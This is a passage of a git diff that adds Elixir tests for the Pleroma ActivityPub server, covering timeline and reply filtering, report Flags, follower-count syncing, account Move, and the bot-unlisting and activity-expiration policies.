private_activity_3.id] == activities + + assert length(activities) == 3 + + activities = + ActivityPub.fetch_activities([user1.ap_id | User.following(user1)], %{user: user1}) + |> Enum.map(fn a -> a.id end) + + assert [public_activity.id, private_activity_1.id] == activities + assert length(activities) == 2 + end + end + + describe "flag/1" do + setup do + reporter = insert(:user) + target_account = insert(:user) + content = "foobar" + {:ok, activity} = CommonAPI.post(target_account, %{status: content}) + context = Utils.generate_context_id() + + reporter_ap_id = reporter.ap_id + target_ap_id = target_account.ap_id + activity_ap_id = activity.data["id"] + + activity_with_object = Activity.get_by_ap_id_with_object(activity_ap_id) + + {:ok, + %{ + reporter: reporter, + context: context, + target_account: target_account, + reported_activity: activity, + content: content, + activity_ap_id: activity_ap_id, + activity_with_object: activity_with_object, + reporter_ap_id: reporter_ap_id, + target_ap_id: target_ap_id + }} + end + + test "it can create a Flag activity", + %{ + reporter: reporter, + context: context, + target_account: target_account, + reported_activity: reported_activity, + content: content, + activity_ap_id: activity_ap_id, + activity_with_object: activity_with_object, + reporter_ap_id: reporter_ap_id, + target_ap_id: target_ap_id + } do + assert {:ok, activity} = + ActivityPub.flag(%{ + actor: reporter, + context: context, + account: target_account, + statuses: [reported_activity], + content: content + }) + + note_obj = %{ + "type" => "Note", + "id" => activity_ap_id, + "content" => content, + "published" => activity_with_object.object.data["published"], + "actor" => + AccountView.render("show.json", %{user: target_account, skip_visibility_check: true}) + } + + assert %Activity{ + actor: ^reporter_ap_id, + data: %{ + "type" => "Flag", + "content" => ^content, + "context" => ^context, + "object" => [^target_ap_id, ^note_obj] + } + } = activity + end + + test_with_mock "strips status data from Flag, before federating it", + %{ + reporter: reporter, + context: context, + target_account: target_account, + reported_activity: reported_activity, + content: content + }, + Utils, + [:passthrough], + [] do + {:ok, activity} = + ActivityPub.flag(%{ + actor: reporter, + context: context, + account: target_account, + statuses: [reported_activity], + content: content + }) + + new_data = + put_in(activity.data, ["object"], [target_account.ap_id, reported_activity.data["id"]]) + + assert_called(Utils.maybe_federate(%{activity | data: new_data})) + end + end + + test "fetch_activities/2 returns activities addressed to a list " do + user = insert(:user) + member = insert(:user) + {:ok, list} = Pleroma.List.create("foo", user) + {:ok, list} = Pleroma.List.follow(list, member) + + {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) + + activity = Repo.preload(activity, :bookmark) + activity = %Activity{activity | thread_muted?: !!activity.thread_muted?} + + assert ActivityPub.fetch_activities([], %{user: user}) == [activity] + end + + def data_uri do + File.read!("test/fixtures/avatar_data_uri") + end + + describe "fetch_activities_bounded" do + test "fetches private posts for followed users" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "thought I looked cute might delete later :3", + visibility: "private" + }) + + [result] = ActivityPub.fetch_activities_bounded([user.follower_address], []) + assert result.id == activity.id + end + + test "fetches only public posts for other users" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe", visibility: "public"}) + + {:ok, _private_activity} = + CommonAPI.post(user, %{ + status: "why is tenshi eating a corndog so cute?", + visibility: "private" + }) + + [result] = ActivityPub.fetch_activities_bounded([], [user.follower_address]) + assert result.id == activity.id + end + end + + describe "fetch_follow_information_for_user" do + test "syncronizes following/followers counters" do + user = + insert(:user, + local: false, + follower_address: "http://localhost:4001/users/fuser2/followers", + following_address: "http://localhost:4001/users/fuser2/following" + ) + + {:ok, info} = ActivityPub.fetch_follow_information_for_user(user) + assert info.follower_count == 527 + assert info.following_count == 267 + end + + test "detects hidden followers" do + mock(fn env -> + case env.url do + "http://localhost:4001/users/masto_closed/followers?page=1" -> + %Tesla.Env{status: 403, body: ""} + + _ -> + apply(HttpRequestMock, :request, [env]) + end + end) + + user = + insert(:user, + local: false, + follower_address: "http://localhost:4001/users/masto_closed/followers", + following_address: "http://localhost:4001/users/masto_closed/following" + ) + + {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) + assert follow_info.hide_followers == true + assert follow_info.hide_follows == false + end + + test "detects hidden follows" do + mock(fn env -> + case env.url do + "http://localhost:4001/users/masto_closed/following?page=1" -> + %Tesla.Env{status: 403, body: ""} + + _ -> + apply(HttpRequestMock, :request, [env]) + end + end) + + user = + insert(:user, + local: false, + follower_address: "http://localhost:4001/users/masto_closed/followers", + following_address: "http://localhost:4001/users/masto_closed/following" + ) + + {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) + assert follow_info.hide_followers == false + assert follow_info.hide_follows == true + end + + test "detects hidden follows/followers for friendica" do + user = + insert(:user, + local: false, + follower_address: "http://localhost:8080/followers/fuser3", + following_address: "http://localhost:8080/following/fuser3" + ) + + {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) + assert follow_info.hide_followers == true + assert follow_info.follower_count == 296 + assert follow_info.following_count == 32 + assert follow_info.hide_follows == true + end + + test "doesn't crash when follower and following counters are hidden" do + mock(fn env -> + case env.url do + "http://localhost:4001/users/masto_hidden_counters/following" -> + json(%{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => "http://localhost:4001/users/masto_hidden_counters/followers" + }) + + "http://localhost:4001/users/masto_hidden_counters/following?page=1" -> + %Tesla.Env{status: 403, body: ""} + + "http://localhost:4001/users/masto_hidden_counters/followers" -> + json(%{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => "http://localhost:4001/users/masto_hidden_counters/following" + }) + + "http://localhost:4001/users/masto_hidden_counters/followers?page=1" -> + %Tesla.Env{status: 403, body: ""} + end + end) + + user = + insert(:user, + local: false, + follower_address: "http://localhost:4001/users/masto_hidden_counters/followers", + following_address: "http://localhost:4001/users/masto_hidden_counters/following" + ) + + {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) + + assert follow_info.hide_followers == true + assert follow_info.follower_count == 0 + assert follow_info.hide_follows == true + assert follow_info.following_count == 0 + end + end + + describe "fetch_favourites/3" do + test "returns a favourite activities sorted by adds to favorite" do + user = insert(:user) + other_user = insert(:user) + user1 = insert(:user) + user2 = insert(:user) + {:ok, a1} = CommonAPI.post(user1, %{status: "bla"}) + {:ok, _a2} = CommonAPI.post(user2, %{status: "traps are happy"}) + {:ok, a3} = CommonAPI.post(user2, %{status: "Trees Are "}) + {:ok, a4} = CommonAPI.post(user2, %{status: "Agent Smith "}) + {:ok, a5} = CommonAPI.post(user1, %{status: "Red or Blue "}) + + {:ok, _} = CommonAPI.favorite(user, a4.id) + {:ok, _} = CommonAPI.favorite(other_user, a3.id) + {:ok, _} = CommonAPI.favorite(user, a3.id) + {:ok, _} = CommonAPI.favorite(other_user, a5.id) + {:ok, _} = CommonAPI.favorite(user, a5.id) + {:ok, _} = CommonAPI.favorite(other_user, a4.id) + {:ok, _} = CommonAPI.favorite(user, a1.id) + {:ok, _} = CommonAPI.favorite(other_user, a1.id) + result = ActivityPub.fetch_favourites(user) + + assert Enum.map(result, & &1.id) == [a1.id, a5.id, a3.id, a4.id] + + result = ActivityPub.fetch_favourites(user, %{limit: 2}) + assert Enum.map(result, & &1.id) == [a1.id, a5.id] + end + end + + describe "Move activity" do + test "create" do + %{ap_id: old_ap_id} = old_user = insert(:user) + %{ap_id: new_ap_id} = new_user = insert(:user, also_known_as: [old_ap_id]) + follower = insert(:user) + follower_move_opted_out = insert(:user, allow_following_move: false) + + User.follow(follower, old_user) + User.follow(follower_move_opted_out, old_user) + + assert User.following?(follower, old_user) + assert User.following?(follower_move_opted_out, old_user) + + assert {:ok, activity} = ActivityPub.move(old_user, new_user) + + assert %Activity{ + actor: ^old_ap_id, + data: %{ + "actor" => ^old_ap_id, + "object" => ^old_ap_id, + "target" => ^new_ap_id, + "type" => "Move" + }, + local: true + } = activity + + params = %{ + "op" => "move_following", + "origin_id" => old_user.id, + "target_id" => new_user.id + } + + assert_enqueued(worker: Pleroma.Workers.BackgroundWorker, args: params) + + Pleroma.Workers.BackgroundWorker.perform(%Oban.Job{args: params}) + + refute User.following?(follower, old_user) + assert User.following?(follower, new_user) + + assert User.following?(follower_move_opted_out, old_user) + refute User.following?(follower_move_opted_out, new_user) + + activity = %Activity{activity | object: nil} + + assert [%Notification{activity: ^activity}] = Notification.for_user(follower) + + assert [%Notification{activity: ^activity}] = Notification.for_user(follower_move_opted_out) + end + + test "old user must be in the new user's `also_known_as` list" do + old_user = insert(:user) + new_user = insert(:user) + + assert {:error, "Target account must have the origin in `alsoKnownAs`"} = + ActivityPub.move(old_user, new_user) + end + end + + test "doesn't retrieve replies activities with exclude_replies" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "yeah"}) + + {:ok, _reply} = CommonAPI.post(user, %{status: "yeah", in_reply_to_status_id: activity.id}) + + [result] = ActivityPub.fetch_public_activities(%{exclude_replies: true}) + + assert result.id == activity.id + + assert length(ActivityPub.fetch_public_activities()) == 2 + end + + describe "replies filtering with public messages" do + setup :public_messages + + test "public timeline", %{users: %{u1: user}} do + activities_ids = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:local_only, false) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_filtering_user, user) + |> ActivityPub.fetch_public_activities() + |> Enum.map(& &1.id) + + assert length(activities_ids) == 16 + end + + test "public timeline with reply_visibility `following`", %{ + users: %{u1: user}, + u1: u1, + u2: u2, + u3: u3, + u4: u4, + activities: activities + } do + activities_ids = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:local_only, false) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:reply_filtering_user, user) + |> ActivityPub.fetch_public_activities() + |> Enum.map(& &1.id) + + assert length(activities_ids) == 14 + + visible_ids = + Map.values(u1) ++ Map.values(u2) ++ Map.values(u4) ++ Map.values(activities) ++ [u3[:r1]] + + assert Enum.all?(visible_ids, &(&1 in activities_ids)) + end + + test "public timeline with reply_visibility `self`", %{ + users: %{u1: user}, + u1: u1, + u2: u2, + u3: u3, + u4: u4, + activities: activities + } do + activities_ids = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:local_only, false) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_visibility, "self") + |> Map.put(:reply_filtering_user, user) + |> ActivityPub.fetch_public_activities() + |> Enum.map(& &1.id) + + assert length(activities_ids) == 10 + visible_ids = Map.values(u1) ++ [u2[:r1], u3[:r1], u4[:r1]] ++ Map.values(activities) + assert Enum.all?(visible_ids, &(&1 in activities_ids)) + end + + test "home timeline", %{ + users: %{u1: user}, + activities: activities, + u1: u1, + u2: u2, + u3: u3, + u4: u4 + } do + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:user, user) + |> Map.put(:reply_filtering_user, user) + + activities_ids = + ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) + |> Enum.map(& &1.id) + + assert length(activities_ids) == 13 + + visible_ids = + Map.values(u1) ++ + Map.values(u3) ++ + [ + activities[:a1], + activities[:a2], + activities[:a4], + u2[:r1], + u2[:r3], + u4[:r1], + u4[:r2] + ] + + assert Enum.all?(visible_ids, &(&1 in activities_ids)) + end + + test "home timeline with reply_visibility `following`", %{ + users: %{u1: user}, + activities: activities, + u1: u1, + u2: u2, + u3: u3, + u4: u4 + } do + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:reply_filtering_user, user) + + activities_ids = + ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) + |> Enum.map(& &1.id) + + assert length(activities_ids) == 11 + + visible_ids = + Map.values(u1) ++ + [ + activities[:a1], + activities[:a2], + activities[:a4], + u2[:r1], + u2[:r3], + u3[:r1], + u4[:r1], + u4[:r2] + ] + + assert Enum.all?(visible_ids, &(&1 in activities_ids)) + end + + test "home timeline with reply_visibility `self`", %{ + users: %{u1: user}, + activities: activities, + u1: u1, + u2: u2, + u3: u3, + u4: u4 + } do + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:user, user) + |> Map.put(:reply_visibility, "self") + |> Map.put(:reply_filtering_user, user) + + activities_ids = + ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) + |> Enum.map(& &1.id) + + assert length(activities_ids) == 9 + + visible_ids = + Map.values(u1) ++ + [ + activities[:a1], + activities[:a2], + activities[:a4], + u2[:r1], + u3[:r1], + u4[:r1] + ] + + assert Enum.all?(visible_ids, &(&1 in activities_ids)) + end + + test "filtering out announces where the user is the actor of the announced message" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + User.follow(user, other_user) + + {:ok, post} = CommonAPI.post(user, %{status: "yo"}) + {:ok, other_post} = CommonAPI.post(third_user, %{status: "yo"}) + {:ok, _announce} = CommonAPI.repeat(post.id, other_user) + {:ok, _announce} = CommonAPI.repeat(post.id, third_user) + {:ok, announce} = CommonAPI.repeat(other_post.id, other_user) + + params = %{ + type: ["Announce"] + } + + results = + [user.ap_id | User.following(user)] + |> ActivityPub.fetch_activities(params) + + assert length(results) == 3 + + params = %{ + type: ["Announce"], + announce_filtering_user: user + } + + [result] = + [user.ap_id | User.following(user)] + |> ActivityPub.fetch_activities(params) + + assert result.id == announce.id + end + end + + describe "replies filtering with private messages" do + setup :private_messages + + test "public timeline", %{users: %{u1: user}} do + activities_ids = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:local_only, false) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:user, user) + |> ActivityPub.fetch_public_activities() + |> Enum.map(& &1.id) + + assert activities_ids == [] + end + + test "public timeline with default reply_visibility `following`", %{users: %{u1: user}} do + activities_ids = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:local_only, false) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:reply_filtering_user, user) + |> Map.put(:user, user) + |> ActivityPub.fetch_public_activities() + |> Enum.map(& &1.id) + + assert activities_ids == [] + end + + test "public timeline with default reply_visibility `self`", %{users: %{u1: user}} do + activities_ids = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:local_only, false) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_visibility, "self") + |> Map.put(:reply_filtering_user, user) + |> Map.put(:user, user) + |> ActivityPub.fetch_public_activities() + |> Enum.map(& &1.id) + + assert activities_ids == [] + + activities_ids = + %{} + |> Map.put(:reply_visibility, "self") + |> Map.put(:reply_filtering_user, nil) + |> ActivityPub.fetch_public_activities() + + assert activities_ids == [] + end + + test "home timeline", %{users: %{u1: user}} do + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:user, user) + + activities_ids = + ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) + |> Enum.map(& &1.id) + + assert length(activities_ids) == 12 + end + + test "home timeline with default reply_visibility `following`", %{users: %{u1: user}} do + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:reply_filtering_user, user) + + activities_ids = + ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) + |> Enum.map(& &1.id) + + assert length(activities_ids) == 12 + end + + test "home timeline with default reply_visibility `self`", %{ + users: %{u1: user}, + activities: activities, + u1: u1, + u2: u2, + u3: u3, + u4: u4 + } do + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:user, user) + |> Map.put(:reply_visibility, "self") + |> Map.put(:reply_filtering_user, user) + + activities_ids = + ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) + |> Enum.map(& &1.id) + + assert length(activities_ids) == 10 + + visible_ids = + Map.values(u1) ++ Map.values(u4) ++ [u2[:r1], u3[:r1]] ++ Map.values(activities) + + assert Enum.all?(visible_ids, &(&1 in activities_ids)) + end + end + + defp public_messages(_) do + [u1, u2, u3, u4] = insert_list(4, :user) + {:ok, u1} = User.follow(u1, u2) + {:ok, u2} = User.follow(u2, u1) + {:ok, u1} = User.follow(u1, u4) + {:ok, u4} = User.follow(u4, u1) + + {:ok, u2} = User.follow(u2, u3) + {:ok, u3} = User.follow(u3, u2) + + {:ok, a1} = CommonAPI.post(u1, %{status: "Status"}) + + {:ok, r1_1} = + CommonAPI.post(u2, %{ + status: "@#{u1.nickname} reply from u2 to u1", + in_reply_to_status_id: a1.id + }) + + {:ok, r1_2} = + CommonAPI.post(u3, %{ + status: "@#{u1.nickname} reply from u3 to u1", + in_reply_to_status_id: a1.id + }) + + {:ok, r1_3} = + CommonAPI.post(u4, %{ + status: "@#{u1.nickname} reply from u4 to u1", + in_reply_to_status_id: a1.id + }) + + {:ok, a2} = CommonAPI.post(u2, %{status: "Status"}) + + {:ok, r2_1} = + CommonAPI.post(u1, %{ + status: "@#{u2.nickname} reply from u1 to u2", + in_reply_to_status_id: a2.id + }) + + {:ok, r2_2} = + CommonAPI.post(u3, %{ + status: "@#{u2.nickname} reply from u3 to u2", + in_reply_to_status_id: a2.id + }) + + {:ok, r2_3} = + CommonAPI.post(u4, %{ + status: "@#{u2.nickname} reply from u4 to u2", + in_reply_to_status_id: a2.id + }) + + {:ok, a3} = CommonAPI.post(u3, %{status: "Status"}) + + {:ok, r3_1} = + CommonAPI.post(u1, %{ + status: "@#{u3.nickname} reply from u1 to u3", + in_reply_to_status_id: a3.id + }) + + {:ok, r3_2} = + CommonAPI.post(u2, %{ + status: "@#{u3.nickname} reply from u2 to u3", + in_reply_to_status_id: a3.id + }) + + {:ok, r3_3} = + CommonAPI.post(u4, %{ + status: "@#{u3.nickname} reply from u4 to u3", + in_reply_to_status_id: a3.id + }) + + {:ok, a4} = CommonAPI.post(u4, %{status: "Status"}) + + {:ok, r4_1} = + CommonAPI.post(u1, %{ + status: "@#{u4.nickname} reply from u1 to u4", + in_reply_to_status_id: a4.id + }) + + {:ok, r4_2} = + CommonAPI.post(u2, %{ + status: "@#{u4.nickname} reply from u2 to u4", + in_reply_to_status_id: a4.id + }) + + {:ok, r4_3} = + CommonAPI.post(u3, %{ + status: "@#{u4.nickname} reply from u3 to u4", + in_reply_to_status_id: a4.id + }) + + {:ok, + users: %{u1: u1, u2: u2, u3: u3, u4: u4}, + activities: %{a1: a1.id, a2: a2.id, a3: a3.id, a4: a4.id}, + u1: %{r1: r1_1.id, r2: r1_2.id, r3: r1_3.id}, + u2: %{r1: r2_1.id, r2: r2_2.id, r3: r2_3.id}, + u3: %{r1: r3_1.id, r2: r3_2.id, r3: r3_3.id}, + u4: %{r1: r4_1.id, r2: r4_2.id, r3: r4_3.id}} + end + + defp private_messages(_) do + [u1, u2, u3, u4] = insert_list(4, :user) + {:ok, u1} = User.follow(u1, u2) + {:ok, u2} = User.follow(u2, u1) + {:ok, u1} = User.follow(u1, u3) + {:ok, u3} = User.follow(u3, u1) + {:ok, u1} = User.follow(u1, u4) + {:ok, u4} = User.follow(u4, u1) + + {:ok, u2} = User.follow(u2, u3) + {:ok, u3} = User.follow(u3, u2) + + {:ok, a1} = CommonAPI.post(u1, %{status: "Status", visibility: "private"}) + + {:ok, r1_1} = + CommonAPI.post(u2, %{ + status: "@#{u1.nickname} reply from u2 to u1", + in_reply_to_status_id: a1.id, + visibility: "private" + }) + + {:ok, r1_2} = + CommonAPI.post(u3, %{ + status: "@#{u1.nickname} reply from u3 to u1", + in_reply_to_status_id: a1.id, + visibility: "private" + }) + + {:ok, r1_3} = + CommonAPI.post(u4, %{ + status: "@#{u1.nickname} reply from u4 to u1", + in_reply_to_status_id: a1.id, + visibility: "private" + }) + + {:ok, a2} = CommonAPI.post(u2, %{status: "Status", visibility: "private"}) + + {:ok, r2_1} = + CommonAPI.post(u1, %{ + status: "@#{u2.nickname} reply from u1 to u2", + in_reply_to_status_id: a2.id, + visibility: "private" + }) + + {:ok, r2_2} = + CommonAPI.post(u3, %{ + status: "@#{u2.nickname} reply from u3 to u2", + in_reply_to_status_id: a2.id, + visibility: "private" + }) + + {:ok, a3} = CommonAPI.post(u3, %{status: "Status", visibility: "private"}) + + {:ok, r3_1} = + CommonAPI.post(u1, %{ + status: "@#{u3.nickname} reply from u1 to u3", + in_reply_to_status_id: a3.id, + visibility: "private" + }) + + {:ok, r3_2} = + CommonAPI.post(u2, %{ + status: "@#{u3.nickname} reply from u2 to u3", + in_reply_to_status_id: a3.id, + visibility: "private" + }) + + {:ok, a4} = CommonAPI.post(u4, %{status: "Status", visibility: "private"}) + + {:ok, r4_1} = + CommonAPI.post(u1, %{ + status: "@#{u4.nickname} reply from u1 to u4", + in_reply_to_status_id: a4.id, + visibility: "private" + }) + + {:ok, + users: %{u1: u1, u2: u2, u3: u3, u4: u4}, + activities: %{a1: a1.id, a2: a2.id, a3: a3.id, a4: a4.id}, + u1: %{r1: r1_1.id, r2: r1_2.id, r3: r1_3.id}, + u2: %{r1: r2_1.id, r2: r2_2.id}, + u3: %{r1: r3_1.id, r2: r3_2.id}, + u4: %{r1: r4_1.id}} + end + + describe "maybe_update_follow_information/1" do + setup do + clear_config([:instance, :external_user_synchronization], true) + + user = %{ + local: false, + ap_id: "https://gensokyo.2hu/users/raymoo", + following_address: "https://gensokyo.2hu/users/following", + follower_address: "https://gensokyo.2hu/users/followers", + type: "Person" + } + + %{user: user} + end + + test "logs an error when it can't fetch the info", %{user: user} do + assert capture_log(fn -> + ActivityPub.maybe_update_follow_information(user) + end) =~ "Follower/Following counter update for #{user.ap_id} failed" + end + + test "just returns the input if the user type is Application", %{ + user: user + } do + user = + user + |> Map.put(:type, "Application") + + refute capture_log(fn -> + assert ^user = ActivityPub.maybe_update_follow_information(user) + end) =~ "Follower/Following counter update for #{user.ap_id} failed" + end + + test "it just returns the input if the user has no following/follower addresses", %{ + user: user + } do + user = + user + |> Map.put(:following_address, nil) + |> Map.put(:follower_address, nil) + + refute capture_log(fn -> + assert ^user = ActivityPub.maybe_update_follow_information(user) + end) =~ "Follower/Following counter update for #{user.ap_id} failed" + end + end + + describe "global activity expiration" do + test "creates an activity expiration for local Create activities" do + clear_config([:mrf, :policies], Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy) + + {:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"}) + {:ok, follow} = ActivityBuilder.insert(%{"type" => "Follow", "context" => "3hu"}) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity.id}, + scheduled_at: + activity.inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> Timex.shift(days: 365) + ) + + refute_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: follow.id} + ) + end + end + + describe "handling of clashing nicknames" do + test "renames an existing user with a clashing nickname and a different ap id" do + orig_user = + insert( + :user, + local: false, + nickname: "admin@mastodon.example.org", + ap_id: "http://mastodon.example.org/users/harinezumigari" + ) + + %{ + nickname: orig_user.nickname, + ap_id: orig_user.ap_id <> "part_2" + } + |> ActivityPub.maybe_handle_clashing_nickname() + + user = User.get_by_id(orig_user.id) + + assert user.nickname == "#{orig_user.id}.admin@mastodon.example.org" + end + + test "does nothing with a clashing nickname and the same ap id" do + orig_user = + insert( + :user, + local: false, + nickname: "admin@mastodon.example.org", + ap_id: "http://mastodon.example.org/users/harinezumigari" + ) + + %{ + nickname: orig_user.nickname, + ap_id: orig_user.ap_id + } + |> ActivityPub.maybe_handle_clashing_nickname() + + user = User.get_by_id(orig_user.id) + + assert user.nickname == orig_user.nickname + end + end + + describe "reply filtering" do + test "`following` still contains announcements by friends" do + user = insert(:user) + followed = insert(:user) + not_followed = insert(:user) + + User.follow(user, followed) + + {:ok, followed_post} = CommonAPI.post(followed, %{status: "Hello"}) + + {:ok, not_followed_to_followed} = + CommonAPI.post(not_followed, %{ + status: "Also hello", + in_reply_to_status_id: followed_post.id + }) + + {:ok, retoot} = CommonAPI.repeat(not_followed_to_followed.id, followed) + + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_filtering_user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:announce_filtering_user, user) + |> Map.put(:user, user) + + activities = + [user.ap_id | User.following(user)] + |> ActivityPub.fetch_activities(params) + + followed_post_id = followed_post.id + retoot_id = retoot.id + + assert [%{id: ^followed_post_id}, %{id: ^retoot_id}] = activities + + assert length(activities) == 2 + end + + # This test is skipped because, while this is the desired behavior, + # there seems to be no good way to achieve it with the method that + # we currently use for detecting to who a reply is directed. + # This is a TODO and should be fixed by a later rewrite of the code + # in question. + @tag skip: true + test "`following` still contains self-replies by friends" do + user = insert(:user) + followed = insert(:user) + not_followed = insert(:user) + + User.follow(user, followed) + + {:ok, followed_post} = CommonAPI.post(followed, %{status: "Hello"}) + {:ok, not_followed_post} = CommonAPI.post(not_followed, %{status: "Also hello"}) + + {:ok, _followed_to_not_followed} = + CommonAPI.post(followed, %{status: "sup", in_reply_to_status_id: not_followed_post.id}) + + {:ok, _followed_self_reply} = + CommonAPI.post(followed, %{status: "Also cofe", in_reply_to_status_id: followed_post.id}) + + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_filtering_user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:announce_filtering_user, user) + |> Map.put(:user, user) + + activities = + [user.ap_id | User.following(user)] + |> ActivityPub.fetch_activities(params) + + assert length(activities) == 2 + end + end +end diff --git a/test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs b/test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs new file mode 100644 index 000000000..86dd9ddae --- /dev/null +++ b/test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs @@ -0,0 +1,60 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy + @public "https://www.w3.org/ns/activitystreams#Public" + + defp generate_messages(actor) do + {%{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{}, + "to" => [@public, "f"], + "cc" => [actor.follower_address, "d"] + }, + %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, + "to" => ["f", actor.follower_address], + "cc" => ["d", @public] + }} + end + + test "removes from the federated timeline by nickname heuristics 1" do + actor = insert(:user, %{nickname: "annoying_ebooks@example.com"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by nickname heuristics 2" do + actor = insert(:user, %{nickname: "cirnonewsnetworkbot@meow.cat"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Application" do + actor = insert(:user, %{actor_type: "Application"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Service" do + actor = insert(:user, %{actor_type: "Service"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end +end diff --git a/test/pleroma/web/activity_pub/mrf/activity_expiration_policy_test.exs b/test/pleroma/web/activity_pub/mrf/activity_expiration_policy_test.exs new file mode 100644 index 000000000..e7370d4ef --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/activity_expiration_policy_test.exs @@ -0,0 +1,84 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicyTest do + use ExUnit.Case, async: true + alias Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy + + @id Pleroma.Web.Endpoint.url() <> "/activities/cofe" + @local_actor Pleroma.Web.Endpoint.url() <> "/users/cofe" + + test "adds `expires_at` property" do + assert {:ok, %{"type" => "Create", "expires_at" => expires_at}} = + ActivityExpirationPolicy.filter(%{ + "id" => @id, + "actor" => @local_actor, + "type" => "Create", + "object" => %{"type" => "Note"} + }) + + assert Timex.diff(expires_at, DateTime.utc_now(), :days) == 364 + end + + test "keeps existing `expires_at` if it less than the config setting" do + expires_at = DateTime.utc_now() |> Timex.shift(days: 1) + + assert {:ok, %{"type" => "Create", "expires_at" => ^expires_at}} = + ActivityExpirationPolicy.filter(%{ + "id" => @id, + "actor" => @local_actor, + "type" => "Create", + "expires_at" => expires_at, + "object" => %{"type" => "Note"} + }) + end + + test "overwrites existing `expires_at` if it greater than the config setting" do + too_distant_future = DateTime.utc_now() |> Timex.shift(years: 2) + + assert {:ok, %{"type" => "Create", "expires_at" => expires_at}} = + ActivityExpirationPolicy.filter(%{ + "id" => @id, + "actor" => @local_actor, + "type" => "Create", + "expires_at" => too_distant_future, + "object" => %{"type" => "Note"} + }) + + assert Timex.diff(expires_at, DateTime.utc_now(), :days) == 364 + end + + test "ignores remote activities" do + assert {:ok, activity} = + ActivityExpirationPolicy.filter(%{ + "id" => "https://example.com/123", + 